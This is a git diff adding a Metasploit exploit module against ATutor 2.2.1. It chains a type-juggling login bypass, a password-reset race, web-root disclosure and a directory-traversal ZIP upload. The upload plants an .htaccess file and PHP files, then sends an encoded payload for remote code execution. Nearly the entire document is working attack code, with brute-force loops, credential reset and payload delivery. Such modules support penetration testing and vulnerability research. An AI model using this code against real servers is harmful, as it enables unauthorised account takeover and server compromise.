diff --git a/modules/exploits/linux/http/atutor_filemanager_traversal.rb b/modules/exploits/linux/http/atutor_filemanager_traversal.rb new file mode 100644 index 0000000000..c1324a07aa --- /dev/null +++ b/modules/exploits/linux/http/atutor_filemanager_traversal.rb @@ -0,0 +1,370 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::FileDropper + + def initialize(info={}) + super(update_info(info, + 'Name' => 'ATutor 2.2.1 Directory Traversal / Remote Code Execution', + 'Description' => %q{ + This module exploits a directory traversal vulnerability in ATutor on an Apache/PHP + setup with display_errors set to On, which can be used to allow us to upload a malicious + ZIP file. On the web application, a blacklist verification is performed before extraction, + however it is not sufficient to prevent exploitation. + + You are required to login to the target to reach the vulnerability, however this can be + done as a student account and remote registration is enabled by default. + + Just incase remote registration isnt enabled, this module uses 2 vulnerabilities + in order to bypass the authenication: + + 1. confirm.php Authentication Bypass Type Juggling vulnerability + 2. password_reminder.php Remote Password Reset TOCTOU vulnerability + + ~ spirit of the hack + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'mr_me ', # initial discovery, msf code + ], + 'References' => + [ + [ 'URL', 'http://www.atutor.ca/' ], # Official Website + [ 'URL', 'http://sourceincite.com/research/src-2016-09/' ], # Type Juggling Advisory + [ 'URL', 'http://sourceincite.com/research/src-2016-10/' ], # TOCTOU Advisory + [ 'URL', 'http://sourceincite.com/research/src-2016-11/' ], # Directory Traversal Advisory + [ 'URL', 'https://github.com/atutor/ATutor/pull/107' ] + ], + 'Privileged' => false, + 'Payload' => + { + 'DisableNops' => true, + }, + 'Platform' => ['php'], + 'Arch' => ARCH_PHP, + 'Targets' => [[ 'Automatic', { }]], + 'DisclosureDate' => 'Mar 1 2016', + 'DefaultTarget' => 0)) + + register_options( + [ + OptString.new('TARGETURI', [true, 'The path of Atutor', '/ATutor/']), + OptString.new('USERNAME', [false, 'The username to authenticate as']), + OptString.new('PASSWORD', [false, 'The password to authenticate with']) + ],self.class) + end + + def print_status(msg='') + super("#{peer} - #{msg}") + end + + def print_error(msg='') + super("#{peer} - #{msg}") + end + + def print_good(msg='') + super("#{peer} - #{msg}") + end + + def check + # there is no real way to finger print the target so we just + # check if we can upload a zip and extract it into the web root... + # obviously not ideal, but if anyone knows better, feel free to change + if (not datastore['USERNAME'].blank? and not datastore['PASSWORD'].blank?) + student_cookie = login(datastore['USERNAME'], datastore['PASSWORD'], check=true) + if student_cookie != nil && disclose_web_root + begin + if upload_shell(student_cookie, check=true) && found + return Exploit::CheckCode::Vulnerable + end + rescue Msf::Exploit::Failed => e + vprint_error(e.message) + end + else + # if we cant login, it may still be vuln + return Exploit::CheckCode::Unknown + end + else + # if no creds are supplied, it may still be vuln + return Exploit::CheckCode::Unknown + end + return Exploit::CheckCode::Safe + end + + def create_zip_file(check=false) + zip_file = Rex::Zip::Archive.new + @header = Rex::Text.rand_text_alpha_upper(4) + @payload_name = Rex::Text.rand_text_alpha_lower(4) + @archive_name = Rex::Text.rand_text_alpha_lower(3) + @test_string = Rex::Text.rand_text_alpha_lower(8) + # we traverse back into the webroot mods/ directory (since it will be writable) + path = "../../../../../../../../../../../../..#{@webroot}mods/" + + # we use this to give us the best chance of success. If a webserver has htaccess override enabled + # we will win. If not, we may still win because these file extensions are often registered as php + # with the webserver, thus allowing us remote code execution. + if check + zip_file.add_file("#{path}#{@payload_name}.txt", "#{@test_string}") + else + register_file_for_cleanup( ".htaccess", "#{@payload_name}.pht", "#{@payload_name}.php4", "#{@payload_name}.phtml") + zip_file.add_file("#{path}.htaccess", "AddType application/x-httpd-php .phtml .php4 .pht") + zip_file.add_file("#{path}#{@payload_name}.pht", "") + zip_file.add_file("#{path}#{@payload_name}.php4", "") + zip_file.add_file("#{path}#{@payload_name}.phtml", "") + end + zip_file.pack + end + + def found + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, "mods", "#{@payload_name}.txt"), + }) + if res.code == 200 and res.body =~ /#{@test_string}/ + return true + end + return false + end + + def disclose_web_root + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, "jscripts", "ATutor_js.php"), + }) + @webroot = "/" + @webroot << $1 if res.body =~ /\\/(.*)jscripts\/ATutor_js\.php\<\/b\> / + if @webroot != "/" + return true + end + return false + end + + def exec_code + # pwnage + res = nil + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, "mods", "#{@payload_name}.pht"), + 'raw_headers' => "#{@header}: #{Rex::Text.encode_base64(payload.encoded)}\r\n" + }, timeout=0.1) + if res == nil + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, "mods", "#{@payload_name}.phtml"), + 'raw_headers' => "#{@header}: #{Rex::Text.encode_base64(payload.encoded)}\r\n" + }, timeout=0.1) + end + if res == nil + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, "mods", "#{@payload_name}.php4"), + 'raw_headers' => "#{@header}: #{Rex::Text.encode_base64(payload.encoded)}\r\n" + }, timeout=0.1) + end + end + + def upload_shell(cookie, check) + post_data = Rex::MIME::Message.new + post_data.add_part(create_zip_file(check), 'application/zip', nil, "form-data; name=\"file\"; filename=\"#{@archive_name}.zip\"") + post_data.add_part("#{Rex::Text.rand_text_alpha_upper(4)}", nil, nil, "form-data; name=\"submit_import\"") + data = post_data.to_s + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, "mods", "_standard", "tests", "question_import.php"), + 'method' => 'POST', + 'data' => data, + 'ctype' => "multipart/form-data; boundary=#{post_data.bound}", + 'cookie' => cookie, + 'vars_get' => { + 'h' => '' + } + }) + if res && res.code == 302 && res.redirection.to_s.include?("question_db.php") + return true + end + # unknown failure... + if res && res.body =~ /Missing zlib extensions/ + fail_with(Failure::NotVulnerable, 'Server is missing zlib extensions') + else + fail_with(Failure::Unknown, 'Unable to upload php code') + end + return false + end + + def find_user(cookie) + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, "users", "profile.php"), + 'cookie' => cookie, + # we need to set the agent to the same value that was in type_juggle, + # since the bypassed session is linked to the user-agent. We can then + # use that session to leak the username + 'agent' => '' + }) + username = "#{$1}" if res.body =~ /(.*)<\/span>/ + if username + return username + end + # else we fail, because we dont know the username to login as + fail_with(Failure::Unknown, "Unable to find the username!") + end + + def type_juggle + # high padding, means higher success rate + # also, we use numbers, so we can count requests :p + for i in 1..8 + for @number in ('0'*i..'9'*i) + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, "confirm.php"), + 'vars_post' => { + 'auto_login' => '', + 'code' => '0' # type juggling + }, + 'vars_get' => { + 'e' => @number, # the bruteforce + 'id' => '', + 'm' => '', + # the default install script creates a member + # so we know for sure, that it will be 1 + 'member_id' => '1' + }, + # need to set the agent, since we are creating x number of sessions + # and then using that session to get leak the username + 'agent' => '' + }, redirect_depth = 0) # to validate a successful bypass + if res and res.code == 302 + cookie = "ATutorID=#{$3};" if res.get_cookies =~ /ATutorID=(.*); ATutorID=(.*); ATutorID=(.*);/ + return cookie + end + end + end + # if we finish the loop and have no sauce, we cant make pasta + fail_with(Failure::Unknown, "Unable to exploit the type juggle and bypass authentication") + end + + def reset_password() + # this is due to line 79 of password_reminder.php + days = (Time.now.to_i/60/60/24) + # make a semi strong password, we have to encourage security now :-> + pass = Rex::Text.rand_text_alpha(32) + hash = Rex::Text.sha1(pass) + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, "password_reminder.php"), + 'vars_post' => { + 'form_change' => 'true', + # the default install script creates a member + # so we know for sure, that it will be 1 + 'id' => '1', + 'g' => days + 1, # needs to be > the number of days since epoch + 'h' => '', # not even checked! + 'form_password_hidden' => hash, # remotely reset the password + 'submit' => 'Submit' + }, + }, redirect_depth = 0) # to validate a successful bypass + + if res and res.code == 302 + return pass + end + # if we land here, the TOCTOU failed us + fail_with(Failure::Unknown, "Unable to exploit the TOCTOU and reset the password") + end + + def login(username, hash, check=false) + password = Rex::Text.sha1(Rex::Text.sha1(hash)) + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, "login.php"), + 'vars_post' => { + 'form_password_hidden' => password, + 'form_login' => username, + 'submit' => 'Login', + 'token' => '', + }, + }) + # poor php developer practices + cookie = "ATutorID=#{$4};" if res.get_cookies =~ /ATutorID=(.*); ATutorID=(.*); ATutorID=(.*); ATutorID=(.*);/ + if res && res.code == 302 + if res.redirection.to_s.include?('bounce.php?course=0') + return cookie + end + end + # auth failed if we land here, bail + if not check + fail_with(Failure::NoAccess, "Authentication failed with username #{username}") + end + return nil + end + + def report_cred(opts) + service_data = { + address: rhost, + port: rport, + service_name: ssl ? 'https' : 'http', + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + module_fullname: fullname, + post_reference_name: self.refname, + private_data: opts[:password], + origin_type: :service, + private_type: :password, + username: opts[:user] + }.merge(service_data) + + login_data = { + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::SUCCESSFUL, + last_attempted_at: Time.now + }.merge(service_data) + + create_credential_login(login_data) + end + + def exploit + # login if needed + if (not datastore['USERNAME'].empty? and not datastore['PASSWORD'].empty?) + report_cred(user: datastore['USERNAME'], password: datastore['PASSWORD']) + student_cookie = login(datastore['USERNAME'], datastore['PASSWORD']) + print_good("Logged in as #{datastore['USERNAME']}") + # else, we reset the students password via a type juggle vulnerability + else + print_status("Account details are not set, bypassing authentication...") + print_status("Triggering type juggle attack...") + student_cookie = type_juggle + print_good("Successfully bypassed the authentication in #{@number} requests !") + username = find_user(student_cookie) + print_good("Found the username: #{username} !") + password = reset_password + print_good("Successfully reset the #{username}'s account password to #{password} !") + report_cred(user: username, password: password) + student_cookie = login(username, password) + print_good("Logged in as #{username}") + end + + if disclose_web_root + print_good("Found the webroot") + # we got everything. Now onto pwnage + if upload_shell(student_cookie, false) + print_good("Zip upload successful !") + exec_code + end + end + end +end + +=begin +php.ini settings: +display_errors = On +=end